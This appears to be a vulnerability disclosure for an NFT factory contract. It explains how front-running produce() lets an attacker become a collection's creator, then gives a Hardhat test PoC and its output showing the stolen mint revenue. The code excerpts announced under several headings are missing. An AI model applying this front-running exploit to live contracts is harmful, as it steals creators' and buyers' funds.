The produce() function derives the deterministic salt only from name and symbol. An attacker can call produce() first for a given name/symbol and become the registered creator — capturing future royalties/fees and blocking the real creator.
Vulnerability Details
produce() computes hashedSalt = _metadataHash(name, symbol) and uses that to check/create the deterministic contracts.
Because hashedSaltdoes not include the creator address, anyone who knows the intended name+symbol can call produce() first.
The first caller becomes creator in getNftInstanceInfo[hashedSalt] and in the AccessToken initialization. The legitimate creator who tries later will be blocked by TokenAlreadyExists().
The attacker can therefore receive creator payouts or route royalties to themselves when someone mints NFT, and can prevent the real creator from deploying their collection.
Relevant code excerpt from Factory.sol:
Relevant mint and payment flow excerpts:
From AccessToken mintStaticPrice:
From _pay:
Impact Details
An attacker can:
Steal future mint revenue and royalties.
Block legitimate creators from launching their collections (griefing).
Damage the protocol’s reputation.
This is direct, ongoing financial harm — not just a one-time annoyance.
it.only('PoC: attacker pre-deploys AccessToken and collects mint revenue from buys', async () => {
const { factory, validator, alice, bob, charlie, signer } = await loadFixture(fixture);
const nftName = 'AccessToken 1';
const nftSymbol = 'AT1';
const contractURI = 'contractURI/AccessToken123';
const price = ethers.utils.parseEther('0.05'); // single-mint price
const feeNumerator = 500;
console.log('\n=== Initial Setup ===');
console.log('Legitimate creator (Alice):', alice.address);
console.log('Attacker (Bob):', bob.address);
console.log('Buyer (Charlie):', charlie.address);
// -------------------------
// Step 1: Legitimate creator (Alice) prepares signed message off-chain
// -------------------------
console.log('\n=== Step 1: Alice prepares AccessToken deployment signature ===');
const message = hashAccessTokenInfo(nftName, nftSymbol, contractURI, feeNumerator, chainId);
const signature = EthCrypto.sign(signer.privateKey, message);
console.log('Signature created for:', nftName, '/', nftSymbol);
// AccessTokenInfo structured exactly as produce expects
const accessTokenInfo: AccessTokenInfoStruct = {
metadata: { name: nftName, symbol: nftSymbol },
contractURI: contractURI,
paymentToken: NATIVE_CURRENCY_ADDRESS,
mintPrice: price,
whitelistMintPrice: price,
transferable: true,
maxTotalSupply: BigNumber.from('1000'),
feeNumerator,
collectionExpire: BigNumber.from('86400'),
signature: signature,
};
// -------------------------
// Step 2: Attacker (Bob) monitors mempool and front-runs Alice's produce() call
// -------------------------
console.log('\n=== Step 2: Attacker (Bob) front-runs and calls produce() ===');
console.log('Bob sees Alice\'s transaction in mempool and front-runs with higher gas');
const txBob = await factory.connect(bob).produce(accessTokenInfo, ethers.constants.HashZero);
const rcptBob = await txBob.wait();
// Get AccessTokenCreated event and deployed address
const evtBob = rcptBob.events?.find((e: any) => e.event === 'AccessTokenCreated');
expect(evtBob, 'AccessTokenCreated event not found').to.not.be.undefined;
const instanceInfoBob = evtBob!.args[1];
const deployedAddressBob = instanceInfoBob.nftAddress;
expect(deployedAddressBob).to.not.equal(ethers.constants.AddressZero);
console.log(' Collection deployed at:', deployedAddressBob);
console.log(' Bob successfully front-ran Alice!');
// Confirm the deployed contract recorded bob as creator
const nftBob = await ethers.getContractAt('AccessToken', deployedAddressBob);
const params = await nftBob.parameters();
const creatorBob = params.creator;
expect(creatorBob).to.equal(bob.address);
console.log(' Collection creator is now Bob (attacker):', creatorBob);
// -------------------------
// Step 3: Legitimate creator (Alice) tries to produce and fails
// -------------------------
console.log('\n=== Step 3: Alice tries to deploy but transaction reverts ===');
await expect(
factory.connect(alice).produce(accessTokenInfo, ethers.constants.HashZero)
).to.be.revertedWithCustomError(factory, 'TokenAlreadyExists');
console.log(' Alice\'s transaction reverted - collection already exists!');
console.log(' Alice lost gas fees and cannot deploy her collection');
// -------------------------
// Step 4: Buyer (Charlie) mints from Bob's collection via mintStaticPrice()
// -------------------------
console.log('\n=== Step 4: Buyer (Charlie) mints from the collection ===');
console.log('Charlie thinks he\'s supporting Alice, but is actually paying Bob');
const tokenId = BigNumber.from(1);
const tokenUri = 'ipfs://token-1';
const whitelisted = false;
// Build the message hash for static price mint
// Based on checkStaticPriceParameters: keccak256(abi.encodePacked(receiver, tokenId, tokenUri, whitelisted, chainid))
const staticMsg = ethers.utils.solidityKeccak256(
['address', 'uint256', 'string', 'bool', 'uint256'],
[charlie.address, tokenId, tokenUri, whitelisted, chainId]
);
const staticSig = EthCrypto.sign(signer.privateKey, staticMsg);
const paramsArray = [
{
tokenId,
tokenUri,
whitelisted,
signature: staticSig,
},
];
const expectedMintPrice = price;
// Snapshot balances before the mint
const bobBalanceBefore = await ethers.provider.getBalance(bob.address);
const charlieBalanceBefore = await ethers.provider.getBalance(charlie.address);
const aliceBalanceBefore = await ethers.provider.getBalance(alice.address);
console.log('Charlie pays:', ethers.utils.formatEther(price), 'ETH to mint');
// Charlie sends the mint transaction to Bob's collection
const txMint = await nftBob
.connect(charlie)
.mintStaticPrice(
charlie.address,
paramsArray,
NATIVE_CURRENCY_ADDRESS,
expectedMintPrice,
{ value: expectedMintPrice },
);
const rcptMint = await txMint.wait();
// Snapshot balances after the mint
const bobBalanceAfter = await ethers.provider.getBalance(bob.address);
const charlieBalanceAfter = await ethers.provider.getBalance(charlie.address);
const aliceBalanceAfter = await ethers.provider.getBalance(alice.address);
// Get platform commission to calculate expected shares
const nftFactoryParams = await factory.nftFactoryParameters();
const platformCommissionBps = nftFactoryParams.platformCommission;
// Calculate fees and creator share
const fees = price.mul(platformCommissionBps).div(10000);
const expectedCreatorShare = price.sub(fees);
const bobActualGain = bobBalanceAfter.sub(bobBalanceBefore);
const aliceGain = aliceBalanceAfter.sub(aliceBalanceBefore);
console.log('\n=== Financial Impact ===');
console.log('Mint price:', ethers.utils.formatEther(price), 'ETH');
console.log('Platform commission:', platformCommissionBps.toString(), 'bps');
console.log('Platform fees:', ethers.utils.formatEther(fees), 'ETH');
console.log('Creator share:', ethers.utils.formatEther(expectedCreatorShare), 'ETH');
console.log('');
console.log('Bob (attacker) gained:', ethers.utils.formatEther(bobActualGain), 'ETH ');
console.log('Alice (victim) gained:', ethers.utils.formatEther(aliceGain), 'ETH (should have received creator share)');
// Assert Bob (the attacker) received the creator share
expect(bobActualGain).to.equal(expectedCreatorShare);
expect(aliceGain).to.equal(0); // Alice gets nothing
console.log('\n Attack successful! Bob stole the creator revenue');
// Verify Charlie owns the token
const ownerOfToken = await nftBob.ownerOf(tokenId);
expect(ownerOfToken).to.equal(charlie.address);
console.log('Charlie received token #1 (but paid the wrong creator)');
// -------------------------
// Summary
// -------------------------
console.log('\n=== ATTACK SUMMARY ===');
console.log(' Attack Flow:');
console.log(' 1. Alice creates signed message for her AccessToken collection');
console.log(' 2. Bob monitors mempool and sees Alice\'s produce() transaction');
console.log(' 3. Bob front-runs with higher gas, calling produce() with same signature');
console.log(' 4. Bob\'s transaction executes first - he becomes the creator');
console.log(' 5. Alice\'s transaction reverts (TokenAlreadyExists)');
console.log(' 6. Buyers mint from Bob\'s collection, enriching the attacker');
console.log('');
console.log(' Financial Impact:');
console.log(' - Bob gained:', ethers.utils.formatEther(expectedCreatorShare), 'ETH (from 1 mint)');
console.log(' - Alice gained: 0 ETH (lost gas + lost all creator revenue)');
console.log(' - Total potential theft: ALL future mint revenue from this collection');
console.log('');
console.log(' - Complete collection hijacking');
console.log(' - Permanent loss of creator revenue');
console.log(' - Reputation damage (buyers think they support Alice)');
console.log(' - No recovery mechanism');
console.log('');
console.log(' Proof:');
console.log(' - Deployed collection:', deployedAddressBob);
console.log(' - On-chain creator:', creatorBob, '(Bob, not Alice)');
console.log(' - Revenue recipient:', bob.address, '(attacker)');
console.log('');
console.log(' POC Complete: Front-running attack successfully demonstrated');
});
=== Initial Setup ===
Legitimate creator (Alice): 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
Attacker (Bob): 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC
Buyer (Charlie): 0x90F79bf6EB2c4f870365E785982E1f101E93b906
=== Step 1: Alice prepares AccessToken deployment signature ===
Signature created for: AccessToken 1 / AT1
=== Step 2: Attacker (Bob) front-runs and calls produce() ===
Bob sees Alice's transaction in mempool and front-runs with higher gas
Collection deployed at: 0xf60e150b29990Eb6CA44391dF9E9aC6697f145d7
Bob successfully front-ran Alice!
Collection creator is now Bob (attacker): 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC
=== Step 3: Alice tries to deploy but transaction reverts ===
Alice's transaction reverted - collection already exists!
Alice lost gas fees and cannot deploy her collection
=== Step 4: Buyer (Charlie) mints from the collection ===
Charlie thinks he's supporting Alice, but is actually paying Bob
Charlie pays: 0.05 ETH to mint
=== Financial Impact ===
Mint price: 0.05 ETH
Platform commission: 100 bps
Platform fees: 0.0005 ETH
Creator share: 0.0495 ETH
Bob (attacker) gained: 0.0495 ETH
Alice (victim) gained: 0.0 ETH (should have received creator share)
Attack successful! Bob stole the creator revenue
Charlie received token #1 (but paid the wrong creator)
=== ATTACK SUMMARY ===
Attack Flow:
1. Alice creates signed message for her AccessToken collection
2. Bob monitors mempool and sees Alice's produce() transaction
3. Bob front-runs with higher gas, calling produce() with same signature
4. Bob's transaction executes first - he becomes the creator
5. Alice's transaction reverts (TokenAlreadyExists)
6. Buyers mint from Bob's collection, enriching the attacker
Financial Impact:
- Bob gained: 0.0495 ETH (from 1 mint)
- Alice gained: 0 ETH (lost gas + lost all creator revenue)
- Total potential theft: ALL future mint revenue from this collection
- Complete collection hijacking
- Permanent loss of creator revenue
- Reputation damage (buyers think they support Alice)
- No recovery mechanism
Proof:
- Deployed collection: 0xf60e150b29990Eb6CA44391dF9E9aC6697f145d7
- On-chain creator: 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC (Bob, not Alice)
- Revenue recipient: 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC (attacker)
POC Complete: Front-running attack successfully demonstrated
✔ PoC: attacker pre-deploys AccessToken and collects mint revenue from buys (2162ms)